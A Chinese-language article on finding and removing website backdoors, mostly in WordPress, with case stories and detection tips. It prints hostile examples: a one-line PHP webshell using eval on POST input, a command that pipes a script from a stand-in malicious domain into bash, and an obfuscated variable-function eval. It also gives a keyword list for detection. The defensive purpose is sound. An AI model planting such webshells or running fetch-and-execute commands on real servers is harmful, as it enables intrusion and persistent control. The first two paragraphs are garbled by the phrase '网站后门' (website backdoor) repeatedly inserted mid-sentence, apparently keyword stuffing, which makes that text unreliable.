网站后门

2023年秋天，网站后门一个做外贸的网站后门朋友半夜给我打电话，说网站被Google标红了——"此网站可能被入侵"。网站后门我打开他后台一看，网站后门根目录下多了一个叫wp-content/plugins/cache-optimizer的网站后门文件夹，里面藏着一个37KB的网站后门PHP文件。文件名伪装成缓存插件，网站后门实际代码里嵌套了三层base64编码。网站后门这就是网站后门典型的网站后门。

后门和漏洞不是网站后门一回事。漏洞是网站后门门没锁好，后门是网站后门有人配了把钥匙，还特意藏在门口花盆底下。网站后门攻击者拿到权限后第一件事往往不是网站后门搞破坏，而是网站后门留后门——万一你改了密码、补了漏洞，他还能从后门溜回来。我见过最夸张的一个站，被留了11个不同位置的后门，从主题函数到数据库触发器，甚至还有一个藏在.htaccess文件里，靠User-Agent匹配特定字符串触发。

后门长什么样？没有固定答案。有人把一句话木马塞进图片的EXIF注释里，服务器解析时照样执行。有人在index.php开头加一行eval($_POST['debug'])，正常访问完全看不出异常。更隐蔽的会调用系统命令，比如system('curl http://恶意域名/脚本 | bash')，连PHP层都不留痕迹。去年一个客户中招，后门代码只有两行，藏在wp-config.php的注释块里，用assert()函数执行任意代码。安全扫描工具跑了三遍都没报警，因为特征库没这个样本。

怎么找？别指望一键扫描。我习惯先比对文件时间戳。正常更新的文件时间集中，后门文件往往孤零零一个，时间戳突兀。再用find命令列出最近修改的PHP文件，逐个看内容。有个小技巧：搜索eval、assert、base64_decode、gzinflate这些函数，但别只搜关键词——攻击者会用变量函数，比如$f='eva'.'l'; $f($_POST['x']);。更靠谱的是看文件权限，后门文件经常是777，而正常文件是644。

数据库里的后门更烦人。有人往wp_options表里插一条记录，值是序列化的PHP代码，通过wp_head钩子执行。你删了文件，后门还在。还有用MySQL触发器的，每次更新文章自动执行恶意SQL。这种得直接查information_schema.triggers，看有没有可疑的触发器定义。

清理后门不能只删文件。我见过一个案例，管理员删了后门文件，第二天又出现了——因为攻击者在cron任务里留了复活脚本，每十分钟从远程拉取新后门。所以得先断根：检查计划任务、检查.ssh/authorized_keys、检查所有管理员账号。有个客户更惨，攻击者直接改了functions.php，把后门代码混在主题更新函数里，你一更新主题，后门就重新写入。

说个真实数据。我经手过的被黑网站里，超过六成后门藏在wp-content/uploads目录下——因为大家默认这个目录是用户上传的，不会去检查PHP文件。但实际上.php文件放在那里照样能执行。有个后门叫2023-09-15.jpg.php，双扩展名，服务器配置不当就会解析成PHP。

最后说个反直觉的：别迷信付费安全插件。我拆过某知名插件的代码，它扫描时只查已知后门哈希，稍微改个字符就绕过。手动检查虽然慢，但能发现异常逻辑——比如一个"缓存插件"里调用了file_get_contents('http://...')，这就不对劲。后门检测的本质是找不合理的存在。你熟悉自己网站的每个文件，任何多余的东西都值得怀疑。